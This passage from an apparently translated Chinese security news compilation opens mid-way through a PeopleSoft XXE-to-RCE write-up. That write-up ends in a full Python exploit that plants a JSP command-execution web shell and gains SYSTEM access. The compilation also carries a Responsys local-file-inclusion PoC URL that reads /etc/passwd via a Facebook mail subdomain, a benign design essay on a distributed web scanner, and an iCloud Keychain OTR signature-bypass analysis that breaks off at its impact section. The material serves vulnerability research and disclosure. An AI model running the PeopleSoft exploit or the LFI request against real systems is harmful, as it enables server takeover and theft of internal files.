????????xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
????<soapenv:Body>
????????<myMethod?attr0="x">
????????????<parameter1?attr1="y">test1</parameter1?attr1="y">
????????????<parameter2>test2</parameter2>
????????</myMethod?attr0="x">
????</soapenv:Body>
</soapenv:Envelope>

很明显,这并不是有效的XML代码,所以我们的请求才会被服务器拒绝。如果我们将整个Payload放到方法的参数中,比如说这样:

1
2
GET?/pspc/services/SomeService
?method=myMethod+attr="x"><test>y</test></myMethod

此时我们得到的结果如下:

1
2
3
4
5
6
7
8
9
10
<?xml?version="1.0"?encoding="utf-8"?>
<soapenv:Envelope?xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
????????xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
????????xmlns:xsd="http://www.w3.org/2001/XMLSchema"
????????xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
????<soapenv:Body>
????????<myMethod?attr="x"><test>y</test></myMethod>
????????</myMethod?attr="x"><test>y</test></myMethod>
????</soapenv:Body>
</soapenv:Envelope>

此时,我们的Payload将会出现两次,第一次的前缀为“<”,第二次为“</”。最终的解决方案需要用到XML注释:

1
2
GET?/pspc/services/SomeService
?method=!--><myMethod+attr="x"><test>y</test></myMethod

此时我们得到的结果如下:

1
2
3
4
5
6
7
8
9
10
<?xml?version="1.0"?encoding="utf-8"?>
<soapenv:Envelope?xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
????????xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
????????xmlns:xsd="http://www.w3.org/2001/XMLSchema"
????????xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
????<soapenv:Body>
????????<!--><myMethod?attr="x"><test>y</test></myMethod>
????????</!--><myMethod?attr="x"><test>y</test></myMethod>
????</soapenv:Body>
</soapenv:Envelope>

由于我们添加了前缀“!–>”,所以第一个Payload是以“<!–”开头的,这也是XML注释的起始标记。第二行以“</!”开头,后面跟着的是“–>”,它表示注释结束。因此,这也就意味着我们的第一行Payload将会被忽略,而我们的Payload现在只会被解析一次。

这样一来,我们就可以将任意的SOAP请求从POST转变为GET了,这也就意味着我们可以将任何的类当作Axis服务进行部署,并利用XXE漏洞绕过服务的IP检测。

Axis:小工具(Gadgets)


Apache Axis在部署服务的过程中不允许我们上传自己的Java类,因此我们只能使用服务提供给我们的类。在对PeopleSoft的pspc.war(包含Axis实例)进行了分析之后,我们发现org.apache.pluto.portalImpl包中的Deploy类包含很多非常有趣的方法。首先,addToEntityReg(String[] args)方法允许我们在一个XML文件的结尾处添加任意数据。其次,copy(file1, file2)方法还允许我们随意拷贝任意文件。这样一来,我们就可以向我们的XML注入一个JSP Payload,然后将它拷贝到webroot中,这样就足以够我们拿到Shell了。

正如我们所期待的那样,PeopleSoft以SYSTEM权限运行了,而这将允许攻击者通过一个XXE漏洞触发PeopleSoft中的远程代码执行漏洞,并通过SYSTEM权限运行任意代码。

漏洞利用 PoC


这种漏洞利用方法几乎适用于目前任意版本的PeopleSoft,在使用之前,请确保修改了相应的XXE终端节点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
#!/usr/bin/python3
#?Oracle?PeopleSoft?SYSTEM?RCE
#?https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce
#?cf
#?2017-05-17
import?requests
import?urllib.parse
import?re
import?string
import?random
import?sys
from?requests.packages.urllib3.exceptions?import?InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
try:
????import?colorama
except?ImportError:
????colorama?=?None
else:
????colorama.init()
????COLORS?=?{
????????'+':?colorama.Fore.GREEN,
????????'-':?colorama.Fore.RED,
????????':':?colorama.Fore.BLUE,
????????'!':?colorama.Fore.YELLOW
????}
URL?=?sys.argv[1].rstrip('/')
CLASS_NAME?=?'org.apache.pluto.portalImpl.Deploy'
PROXY?=?'localhost:8080'
#?shell.jsp?c=whoami
PAYLOAD?=?'<%@?page?import="java.util.*,java.io.*"%><%?if?(request.getParameter("c")?!=?null)?{?Process?p?=?Runtime.getRuntime().exec(request.getParameter("c"));?DataInputStream?dis?=?new?DataInputStream(p.getInputStream());?String?disr?=?dis.readLine();?while?(?disr?!=?null?)?{?out.println(disr);?disr?=?dis.readLine();?};?p.destroy();?}%>'
class?Browser:
????"""Wrapper?around?requests.
????"""
????def?__init__(self,?url):
????????self.url?=?url
????????self.init()
????def?init(self):
????????self.session?=?requests.Session()
????????self.session.proxies?=?{
????????????'http':?PROXY,
????????????'https':?PROXY
????????}
????????self.session.verify?=?False
????def?get(self,?url?,*args,?**kwargs):
????????return?self.session.get(url=self.url?+?url,?*args,?**kwargs)
????def?post(self,?url,?*args,?**kwargs):
????????return?self.session.post(url=self.url?+?url,?*args,?**kwargs)
????def?matches(self,?r,?regex):
????????return?re.findall(regex,?r.text)
class?Recon(Browser):
????"""Grabs?different?informations?about?the?target.
????"""
????def?check_all(self):
????????self.site_id?=?None
????????self.local_port?=?None
????????self.check_version()
????????self.check_site_id()
????????self.check_local_infos()
????def?check_version(self):
????????"""Grabs?PeopleTools'?version.
????????"""
????????self.version?=?None
????????r?=?self.get('/PSEMHUB/hub')
????????m?=?self.matches(r,?'Registered?Hosts?Summary?-?([0-9\.]+).</b>')
????????if?m:
????????????self.version?=?m[0]
????????????o(':',?'PTools?version:?%s'?%?self.version)
????????else:
????????????o('-',?'Unable?to?find?version')
????def?check_site_id(self):
????????"""Grabs?the?site?ID?and?the?local?port.
????????"""
????????if?self.site_id:
????????????return
????????r?=?self.get('/')
????????m?=?self.matches(r,?'/([^/]+)/signon.html')
????????if?not?m:
????????????raise?RuntimeError('Unable?to?find?site?ID')
????????self.site_id?=?m[0]
????????o('+',?'Site?ID:?'?+?self.site_id)
????def?check_local_infos(self):
????????"""Uses?cookies?to?leak?hostname?and?local?port.
????????"""
????????if?self.local_port:
????????????return
????????r?=?self.get('/psp/%s/signon.html'?%?self.site_id)
????????for?c,?v?in?self.session.cookies.items():
????????????if?c.endswith('-PORTAL-PSJSESSIONID'):
????????????????self.local_host,?self.local_port,?*_?=?c.split('-')
????????????????o('+',?'Target:?%s:%s'?%?(self.local_host,?self.local_port))
????????????????return
????????raise?RuntimeError('Unable?to?get?local?hostname?/?port')
class?AxisDeploy(Recon):
????"""Uses?the?XXE?to?install?Deploy,?and?uses?its?two?useful?methods?to?get
????a?shell.
????"""
????def?init(self):
????????super().init()
????????self.service_name?=?'YZWXOUuHhildsVmHwIKdZbDCNmRHznXR'?#self.random_string(10)
????def?random_string(self,?size):
????????return?''.join(random.choice(string.ascii_letters)?for?_?in?range(size))
????def?url_service(self,?payload):
????????return?'http://localhost:%s/pspc/services/AdminService?method=%s'?%?(
????????????self.local_port,
????????????urllib.parse.quote_plus(self.psoap(payload))
????????)
????def?war_path(self,?name):
????????#?This?is?just?a?guess?from?the?few?PeopleSoft?instances?we?audited.
????????#?It?might?be?wrong.
????????suffix?=?'.war'?if?self.version?and?self.version?>=?'8.50'?else?''
????????return?'./applications/peoplesoft/%s%s'?%?(name,?suffix)
????def?pxml(self,?payload):
????????"""Converts?an?XML?payload?into?a?one-liner.
????????"""
????????payload?=?payload.strip().replace('\n',?'?')
????????payload?=?re.sub('\s+<',?'<',?payload,?flags=re.S)
????????payload?=?re.sub('\s+',?'?',?payload,?flags=re.S)
????????return?payload
????def?psoap(self,?payload):
????????"""Converts?a?SOAP?payload?into?a?one-liner,?including?the?comment?trick
????????to?allow?attributes.
????????"""
????????payload?=?self.pxml(payload)
????????payload?=?'!-->%s'?%?payload[:-1]
????????return?payload
????def?soap_service_deploy(self):
????????"""SOAP?payload?to?deploy?the?service.
????????"""
????????return?"""
????????<ns1:deployment?xmlns="http://xml.apache.org/axis/wsdd/"
????????xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"
????????xmlns:ns1="http://xml.apache.org/axis/wsdd/">
????????????<ns1:service?name="%s"?provider="java:RPC">
????????????????<ns1:parameter?name="className"?value="%s"/>
????????????????<ns1:parameter?name="allowedMethods"?value="*"/>
????????????</ns1:service>
????????</ns1:deployment>
????????"""?%?(self.service_name,?CLASS_NAME)
????def?soap_service_undeploy(self):
????????"""SOAP?payload?to?undeploy?the?service.
????????"""
????????return?"""
????????<ns1:undeployment?xmlns="http://xml.apache.org/axis/wsdd/"
????????xmlns:ns1="http://xml.apache.org/axis/wsdd/">
????????<ns1:service?name="%s"/>
????????</ns1:undeployment>
????????"""?%?(self.service_name,?)
????def?xxe_ssrf(self,?payload):
????????"""Runs?the?given?AXIS?deploy/undeploy?payload?through?the?XXE.
????????"""
????????data?=?"""
????????<?xml?version="1.0"?>
????????<!DOCTYPE?IBRequest?[
????????<!ENTITY?x?SYSTEM?"%s">
????????]>
????????<IBRequest>
???????????<ExternalOperationName>&x;</ExternalOperationName>
???????????<OperationType/>
???????????<From><RequestingNode/>
??????????????<Password/>
??????????????<OrigUser/>
??????????????<OrigNode/>
??????????????<OrigProcess/>
??????????????<OrigTimeStamp/>
???????????</From>
???????????<To>
??????????????<FinalDestination/>
??????????????<DestinationNode/>
??????????????<SubChannel/>
???????????</To>
???????????<ContentSections>
??????????????<ContentSection>
?????????????????<NonRepudiation/>
?????????????????<MessageVersion/>
?????????????????<Data>
?????????????????</Data>
??????????????</ContentSection>
???????????</ContentSections>
????????</IBRequest>
????????"""?%?self.url_service(payload)
????????r?=?self.post(
????????????'/PSIGW/HttpListeningConnector',
????????????data=self.pxml(data),
????????????headers={
????????????????'Content-Type':?'application/xml'
????????????}
????????)
????def?service_check(self):
????????"""Verifies?that?the?service?is?correctly?installed.
????????"""
????????r?=?self.get('/pspc/services')
????????return?self.service_name?in?r.text
????def?service_deploy(self):
????????self.xxe_ssrf(self.soap_service_deploy())
????????if?not?self.service_check():
????????????raise?RuntimeError('Unable?to?deploy?service')
????????o('+',?'Service?deployed')
????def?service_undeploy(self):
????????if?not?self.local_port:
????????????return
????????self.xxe_ssrf(self.soap_service_undeploy())
????????if?self.service_check():
????????????o('-',?'Unable?to?undeploy?service')
????????????return
????????o('+',?'Service?undeployed')
????def?service_send(self,?data):
????????"""Send?data?to?the?Axis?endpoint.
????????"""
????????return?self.post(
????????????'/pspc/services/%s'?%?self.service_name,
????????????data=data,
????????????headers={
????????????????'SOAPAction':?'useless',
????????????????'Content-Type':?'application/xml'
????????????}
????????)
????def?service_copy(self,?path0,?path1):
????????"""Copies?one?file?to?another.
????????"""
????????data?=?"""
????????<?xml?version="1.0"?encoding="utf-8"?>
????????<soapenv:Envelope?xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
????????xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
????????xmlns:xsd="http://www.w3.org/2001/XMLSchema"
????????xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
????????<soapenv:Body>
????????<api:copy
????????soapen>
????????????<in0?xsi:type="xsd:string">%s</in0>
????????????<in1?xsi:type="xsd:string">%s</in1>
????????</api:copy>
????????</soapenv:Body>
????????</soapenv:Envelope>
????????""".strip()?%?(path0,?path1)
????????response?=?self.service_send(data)
????????return?'<ns1:copyResponse'?in?response.text
????def?service_main(self,?tmp_path,?tmp_dir):
????????"""Writes?the?payload?at?the?end?of?the?.xml?file.
????????"""
????????data?=?"""
????????<?xml?version="1.0"?encoding="utf-8"?>
????????<soapenv:Envelope?xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
????????xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
????????xmlns:xsd="http://www.w3.org/2001/XMLSchema"
????????xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
????????<soapenv:Body>
????????<api:main
????????soapen>
????????????<api:in0>
????????????????<item?xsi:type="xsd:string">%s</item>
????????????????<item?xsi:type="xsd:string">%s</item>
????????????????<item?xsi:type="xsd:string">%s.war</item>
????????????????<item?xsi:type="xsd:string">something</item>
????????????????<item?xsi:type="xsd:string">-addToEntityReg</item>
????????????????<item?xsi:type="xsd:string"><![CDATA[%s]]></item>
????????????</api:in0>
????????</api:main>
????????</soapenv:Body>
????????</soapenv:Envelope>
????????""".strip()?%?(tmp_path,?tmp_dir,?tmp_dir,?PAYLOAD)
????????response?=?self.service_send(data)
????def?build_shell(self):
????????"""Builds?a?SYSTEM?shell.
????????"""
????????#?On?versions?>=?8.50,?using?another?extension?than?JSP?got?70?bytes
????????#?in?return?every?time,?for?some?reason.
????????#?Using?.jsp?seems?to?trigger?caching,?thus?the?same?pivot?cannot?be
????????#?used?to?extract?several?files.
????????#?Again,?this?is?just?from?experience,?nothing?confirmed
????????pivot?=?'/%s.jsp'?%?self.random_string(20)
????????pivot_path?=?self.war_path('PSOL')?+?pivot
????????pivot_url?=?'/PSOL'?+?pivot
????????#?1:?Copy?portletentityregistry.xml?to?TMP
????????per?=?'/WEB-INF/data/portletentityregistry.xml'
????????per_path?=?self.war_path('pspc')
????????tmp_path?=?'../'?*?20?+?'TEMP'
????????tmp_dir?=?self.random_string(20)
????????tmp_per?=?tmp_path?+?'/'?+?tmp_dir?+?per
????????if?not?self.service_copy(per_path?+?per,?tmp_per):
????????????raise?RuntimeError('Unable?to?copy?original?XML?file')
????????#?2:?Add?JSP?payload
????????self.service_main(tmp_path,?tmp_dir)
????????#?3:?Copy?XML?to?JSP?in?webroot
????????if?not?self.service_copy(tmp_per,?pivot_path):
????????????raise?RuntimeError('Unable?to?copy?modified?XML?file')
????????response?=?self.get(pivot_url)
????????if?response.status_code?!=?200:
????????????raise?RuntimeError('Unable?to?access?JSP?shell')
????????o('+',?'Shell?URL:?'?+?self.url?+?pivot_url)
class?PeopleSoftRCE(AxisDeploy):
????def?__init__(self,?url):
????????super().__init__(url)
def?o(s,?message):
????if?colorama:
????????c?=?COLORS[s]
????????s?=?colorama.Style.BRIGHT?+?COLORS[s]?+?'|'?+?colorama.Style.RESET_ALL
????print('%s?%s'?%?(s,?message))
x?=?PeopleSoftRCE(URL)
try:
????x.check_all()
????x.service_deploy()
????x.build_shell()
except?RuntimeError?as?e:
????o('-',?e)
finally:
????x.service_undeploy()

本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce0day

基于云端的本地文件包含漏洞(影响Facebook等多家公司)

http://p0.qhimg.com/t012abab2aeb43783b1.jpg

翻译:童话

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

前言


Hello,大家好!今天我将向大家分享前段时间我是如何挖到的一个基于云端的本地文件包含漏洞。漏洞影响Facebook、Linkedin、Dropbox等多家企业。

http://p0.qhimg.com/t01e0803bf7817a39bd.png

这个LFI(本地文件包含漏洞)的触发点在Oracle Responsys的云系统中。简单介绍一下,Responsys是企业级基于云的B2C系统?。每个企业用户通过专属的ip去使用Responsys?系统。企业用户不能和其他公司分享IP。

漏洞是如何发现的?


我像往常一样挖掘漏洞,注意到Facebook的子域名em.facebookmail.com向我发送了一个开发者邮件。举例来说,在我的收件箱中,我收到了一封fbdev@em.facebookmail.com发送的邮件。这勾起了我测试em.facebookmail.com子域名的兴趣。随后我立即dig了一下,我发现这个子域名连接到“Responsys”服务,在之前的渗透测试中还搞过这个。

http://p5.qhimg.com/t01427724563813e648.png

“Responsys”提供了一个邮件服务(em.facebookmail.com),如上图所示。我在收件箱中看到如下原始链接:

1
http://em.facebookmail.com/pub/cc?_ri_=X0Gzc2X%3DWQpglLjHJlYQGkSIGbc52zaRY0i6zgzdzc6jpzcASTGzdzeRfAzbzgJyH0zfzbLVXtpKX%3DSRTRYRSY&_ei_=EolaGGF4SNMvxFF7KucKuWNhjeSKbKRsHLVV55xSq7EoplYQTaISpeSzfMJxPAX8oMMhFTpOYUvvmgn-WhyT6yBDeImov65NsCKxmYwyOL0

我发现,为了生成有效的请求,就一定需要使用“_ri_ =”参数。经过一番测试,我发现系统没有正确处理双重URL编码,在参数“_ri_”处使用可以正确生成有效请求的值,我可以在URL路径中注入“%252fetc%252fpasswd”。由于服务端没有对输入做正确的过滤,可以使用目录遍历字符,可以从受影响的服务器中检索内部文件。

漏洞演示(PoC)


1
http://em.facebookmail.com/pub/sf/%252fetc%252fpasswd?_ri_=X0Gzc2X%3DYQpglLjHJlYQGrzdLoyD13pHoGgHNjCWGRBIk4d6Uw74cgmmfaDIiK4za7bf4aUdgSVXMtX%3DYQpglLjHJlYQGnnlO8Rp71zfzabzewzgLczg7Ulwbazahw8uszbNYzeazdMjhDzcmJizdNFCXgn&_ei_=Ep0e16vSBKEscHnsTNRZT2jxEz5WyG1Wpm_OvAU-aJZRZ_wzYDw97ETX_iSmseE

可以看到漏洞已经被复现了,我知道这个LFI(本地文件包含漏洞)不仅影响了Facebook,还影响了许多其他公司。通过专属的ip去使用Responsys系统的企业用户都会受到该问题的影响。

影响范围


之后我意识到,这个问题不仅仅影响Facebook,也涉及到其他的企业。通过专属的ip去使用Responsys系统的企业用户都会受到该问题的影响。

通过Google搜索可以看到其他受该漏洞影响的公司。

http://p1.qhimg.com/t0163eb27e3fdba7484.png

将参数_ri_中的有效请求值复制到目标公司的站点,我可以使用相同的技术检索内部信息(读取指定位置的文件内容)。

http://p8.qhimg.com/t0128320fb32883a74d.png

本地文件包含漏洞(LFI)会导致泄露服务器中敏感信息,进一步利用可导致被完全接管。在本篇文章的案例中,最坏的影响是这个漏洞影响了多家公司的数据。

后记


我向Oracle报告了这个漏洞,Oracle官方在一周内修复了这个安全问题。

http://p2.qhimg.com/t0180f53d7a725f9ff7.png


本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:http://panchocosil.blogspot.cl/2017/05/one-cloud-based-local-file-inclusion.html

0day

一个简单的分布式Web扫描器的设计与实践

http://p7.qhimg.com/t0183ae45ed0716eb13.jpg

0x00 前言


作为一个安全从业人员,在平常的工作中总是需要对一些Web系统做一些安全扫描和漏洞检测从而确保在系统上线前尽可能多的解决了已知的安全问题,更好地保护我们的系统免受外部的入侵和攻击。而传统的web安全检测和扫描大多基于Web扫描器,而实际上其是利用爬虫对目标系统进行资源遍历并配合检测代码来进行,这样可以极大的减少人工检测的工作量,但是随之而来也会导致过多的误报和漏报,原因之一就是爬虫无法获取到一些隐藏很深的系统资源(比如:URL)进行检测。在这篇文章里,笔者主要想和大家分享一下从另一个角度来设计Web扫描器从而来解决开头所提到的问题。

0x01 设计


在开始探讨设计之前,我们首先了解一下Web漏洞检测和扫描的一般过程和原理。通常我们所说的Web漏洞检测和扫描大致分为2种方式:

Web扫描器:主要利用扫描器的爬虫获取目标系统的所有URL,再尝试模拟访问这些URL获取更多的URL,如此循环,直到所有已知的URL被获取到,或者利用已知字典对目标系统的URL进行暴力穷举从而获取有效的URL资源;之后对获取的URL去重整理,利用已知漏洞的检测代码对这些URL进行检测来判断目标系统是否存在漏洞

人工检测:通过设置代理(如:burp)来截获所有目标系统的访问请求,然后依据经验对可能存在问题的请求修改参数或者添加检测代码并重放(如:burp中的repeat功能)从而判断目标系统是否存在漏洞

对比上面的2种方式,我们可以发现Web扫描器可以极大的减少人工检测的工作量,但是却因为爬虫的局限性导致很多事实上存在的资源不能被发现容易造成就误报和漏报;而人工检测可以很好的保证发现漏洞的准确性和针对性,但是却严重依赖于检测人员的经验和时间,尤其是大型系统很难在有限的时间内完成检测,同样会造成漏报。那么,如果能有效地利用扫描器的处理速度以及人工的精准度的话,是不是就可以很好地解决前面的问题了呢?

下面让我们来深究一下两者的各自优势,前者自动化程度高不需要过多的人为干预,后者因为所有请求均来自于真实的访问准确度高。我们不禁思考一下,如果我们有办法可以获取到所有的真实请求(包括:请求头,cookie,url,请求参数等等)并配合扫描器的检测代码是不是更加有针对性且有效地对系统进行漏洞检测呢?

我们设想一下,如果有这样一个系统可以在用户与系统之前获取到所有的请求,并分发给扫描器进行检测,这样只要请求是来自于真实的应用场景或者系统的功能那么就可以最大程度地收集到所有真实有效的资源。故可以设计该系统包含如下的子模块:

客户端:用户访问系统的载体,如:浏览器,手机APP

代理:用于获取来自于客户端的所有请求,如:Burp,Load Balancer

解析器:负责将代理获取的请求数据按照规定格式解析并插入至请求数据库中

请求数据库:用于存放代理获取的所有请求数据以及解析器和扫描器的配置信息

扫描器:具有漏洞检测功能的扫描器,如:自行编写的定制扫描器(hackUtils),SQLMAP,Burp Scanner,WVS,OWASP ZAP等

应用系统:目标应用系统,如: Web系统,APP

基本架构如下:

http://p2.qhimg.com/t01d50200017b2d9fa8.png

从上图的设计中,我们可以利用代理将所有访问目标系统的请求获取并存储在一个统一的数据库中,然后将这些真实产生的请求分发给不同的扫描器(比如:常见的OWASP Top10的漏洞,已披露的常见框架或者中间件漏洞等)进行检测。上述设计是高度解耦合地并且每个子模块都是只负责自己的功能相互之间并不干扰,且仅通过中心数据库关联起来,因此我们可以通过设置多个代理和扫描器地随意组合来实现分布式地批量检测。

这种设计架构可以很方便地进行扩展和应用, 例如:

对于漏洞检测或者安全测试人员,我们只需要在本地设置好代理(如:burp),然后在浏览器或者移动APP中正常地访问或者测试应用的每一个页面和功能,接下来的漏洞检测工作就完全交给了扫描器去做,这将极大地节约了时间和避免了大量重复的手工检测的工作量

对于企业系统,我们可以将代理设置在应用前端(如:load balancer),这样所有的请求将会被自动镜像在扫描数据库,并自动分发给多个扫描引擎进行检测,无需手工干预即可发现很多隐藏很深的漏洞

0x02 实践


俗语说的好,“Talk is cheap, show me the code”! 是的,为了更好地了解这种设计思路的好处,笔者设计了一个Demo系统。该系统利用了burp作为代理,当我们在浏览器或者手机的wifi中配置好了代理服务器,漏洞检测的工作将会简化成简单地浏览应用的每一个页面和功能,代理将会自动地收集产生的所有请求数据(包括,各种请求头,cookie,请求方法,请求数据等)然后通过解析器的解析并存储于中央数据库,然后再分发于多个扫描引擎对请求的所有可控输入点进行repeat检测。

效果如下:

http://p6.qhimg.com/t0182cacbc1f2b31be6.png

http://p2.qhimg.com/t01a24d265edd0c1b3d.png

http://p8.qhimg.com/t01d6e6cca36f8c7462.png

以下是我封装的一个python的requests库,它支持发送自定义的cookie,headers的get/post的请求,并可以是使用PhantomJS引擎去解析和渲染GET请求响应的页面中的javascript,css等,可以非常方便的应用于反爬虫和DOM型XSS的检测。

Code:https://github.com/brianwrf/HackRequests

0x03 思考


从漏洞检测的角度来说,经过笔者的测试(以DVWA和WebGoat为例)检测效果还是非常明显和有效的。其实这种类似的设计,很早之前就已经有人做了,那么很多人要问了为什么你还要在重复造个轮子呢?其实原因有以下几点:

系统耦合性较强,不利于进行扩展和改造

在HTTPS的流量捕获上支持的不是很好

没有做到对HTTP请求中所有的可控输入点进行检测,例如,仅仅检测GET/POST数据,而对cookie,user-agent, referer等缺乏检测

缺乏对于DOM的渲染和解析,容易造成对于基于DOM的漏洞的漏报,比如:DOM型的XSS等

不具备分布式部署的能力,无法有效利用分布式处理的优点来提高检测效率

不具备真正的意义上的repeat检测能力,换句话说不能完全模拟用户的请求

当然,上述的设计也存在一些待解决的问题,比如:

若将代理部署至应用前端镜像所有请求,再分发至扫描引擎检测,如何防止真实用户数据泄漏和篡改?可能的解决方案是设置例外,对于敏感字段或者请求进行例外处理。

写在最后


Anyway, 新系统的设计无非是汲取前人的智慧加以优化再为后人铺路,解决问题才是考验系统能力的关键!后续我会继续努力改进其不足,让其更加易于使用!0day

致命漏洞将允许攻击者绕过苹果的OTR签名验证并窃取iCloud钥匙串信息

背景内容

在分析iOS平台上与沙盒逃逸有关的攻击面时,我们在iCloud钥匙串同步功能的OTR实现中发现了一个严重的安全漏洞。

iCloud钥匙串同步功能允许用户以一种安全的方式跨设备共享自己的密码。该协议与其他跨设备密码共享机制(例如谷歌Chrome的密码同步功能)相比,安全性有显著的提升,因为它所采用的端到端加密使用了设备绑定型(device-specific)密钥,而这种加密方式能够显著提升iCloud钥匙串同步机制的安全性,即使用户的密码被盗或者iCloud后台服务器受到攻击,用户的安全也能够得到有效的保障。

但是,我们此次所发现的这个漏洞破坏了这种端到端加密的安全性,并有可能允许潜在的攻击者窃取用户的钥匙串信息。在这篇文章中,我们将给大家详细描述这个漏洞。

iCloud钥匙串同步技术概览

iCloud钥匙串最早与iOS7被引入,该功能允许用户跨设备共享自己的密码和信用卡数据。除此之外,iCloud钥匙串同步功能还可以让用户轻松地在设备间安全同步隐私信息,而且iCloud钥匙串恢复机制还可以在用户遗失了设备后,帮助他们恢复iCloud钥匙串数据。

为了提升安全性,iCloud钥匙串同步功能在交换钥匙串对象时采用了端到端加密,这样就可以保证只有参与钥匙串交换的双方设备才可以解密这些信息。加密过程依赖于一个同步识别密钥(每台设备只有一个),共享信息的明文数据以及加密密钥都不会暴露给iCloud。这也就意味着,即使你可以无限制地访问iCloud后台服务器或iCloud通信数据,你也无法解密出钥匙串数据。

2.png

数据的传输是通过iCloud键值存储(与每一个iCloud账户单独绑定)实现的,苹果应用和第三方应用都可以使用键值存储来为注册了iCLoud服务的用户同步数据。应用程序只能访问当前用户标识所允许的键值存储数据,而iCloud系统服务控制着应用与键值存储服务器之间的通信连接。与iCloud键值存储的直接通信要求用户提供密码凭证或iCLoud认证令牌。

注:钥匙串同步存储数据所使用的识别符为com.apple.security.cloudkeychainproxy3。

交换信息

iCloud钥匙串同步功能使用了一个自定义的开源OTR实现,这种OTR(Off-The-Record)信息协议具有不可否认性和前向安全性等特征。

为了接收或发送OTR数据,一台设备必须是“signed-syncing-circle”中的一部分,并存储在iCloud KVS之中。除了与每一台设备相关的元数据之外,其中还包含有每台设备所对应的公共同步身份密钥。

系统采用了CTR模式的AES-128对数据进行加密,并且使用了ECDH认证密钥交换算法。认证过程需要用到每个节点的身份密钥,并且使用了ECDSA签名算法(SHA-256)。

由于两台设备间的加密是成对的,因此一台设备在向另一台设备(必须是“signed-syncing-circle”中的一部分)传输新的OTR信息或交换钥匙串数据时,必须要发起OTR会话协商。iCloud KVS中的信息属性必须指定OTR信息的发送方和接收方,这样才能保证正确的信息接收设备可以正常处理消息的内容。

这里需要注意的是,默认情况下并非每一个钥匙串对象都会被同步,此时只有iCloud钥匙串同步功能的kSecAttrSynchronizable属性中所设置的那些钥匙串对象才会进行同步,其中包括系统WiFI密码和Safari凭证(例如信用卡卡号)。

3.png

加入“signed-syncing-circle”(签名同步环)

iOS安全指南对其的描述如下:

“signed-syncing-circle”可以用来构建一个由多台受信任设备所组成的一个组(Group)。其中,每一台设备都要生成其自己的同步身份密钥对(椭圆曲线密钥),私钥存储在钥匙串的‘kSecAttrAccessibleAlwaysThisDeviceOnlyPrivate’属性之中,所以只有当设备解锁后才可以访问。注:“signed-syncing-circle”的签名需要每台设备的同步身份私钥和用户的iCloud密钥。

为了让一台新设备加入到“signed-syncing-circle”之中,circle中现存的设备成员必须接受应用发出的ticket并将请求成员的公钥添加到circle之中。这个ticket必须通过用户的iCloud密钥进行签名,而请求过程同样需要用户输入自己的iCloud密码。这就意味着,用户需要在请求设备以及circle中已存在的设备上进行交互操作,并通过用户当前的iCloud密码来验证这些设备的真实性和有效性。

钥匙串同步漏洞

我们所发现的这个漏洞存在于OTR的签名认证程序中。由于系统没有对错误进行适当的处理,攻击者将有可能绕过这种签名验证机制。

源代码:Security-57740.31.2/OSX/sec/Security/SecOTRSessionAKE.c

static OSStatus SecVerifySignatureAndMac(SecOTRSessionRefsession,
bool usePrimes,
const uint8_t **signatureAndMacBytes,
size_t *signatureAndMacSize)
{
?
OSStatus result = errSecDecode;
?
…
?
result = ReadLong(signatureAndMacBytes, signatureAndMacSize,&xbSize); [1]
?
require_noerr(result, exit);
require_action(xbSize > 4, exit, result = errSecDecode);
?
require_action(xbSize <= *signatureAndMacSize, exit,result = errSecDecode);
?
uint8_t signatureMac[CCSHA256_OUTPUT_SIZE];
?
cchmac(ccsha256_di(), sizeof(m2), m2, xbSize + 4,encSigDataBlobStart, signatureMac);
?
require(xbSize + kSHA256HMAC160Bytes <=*signatureAndMacSize, exit); [2]
?
…
?
exit:
?
bzero(m1, sizeof(m1));
bzero(m2, sizeof(m2));
bzero(c, sizeof(c));
?
return result;
?
}

我们可以看到代码中标注了【1】的那一行,当程序成功从进来的握手信息中提取出了4个字节的数据时,返回代码被设置为了‘errSecSuccess’。然后看【2】的那一行,如果传入的信息长度太短以至于无法保存HMAC数据,那么函数将会退出运行。然而,返回代码会错误地认为签名认证已经成功了。这将允许攻击者伪造一个能够成功协商密钥的OTR信息,然后绕过现有的签名验证机制。

影响

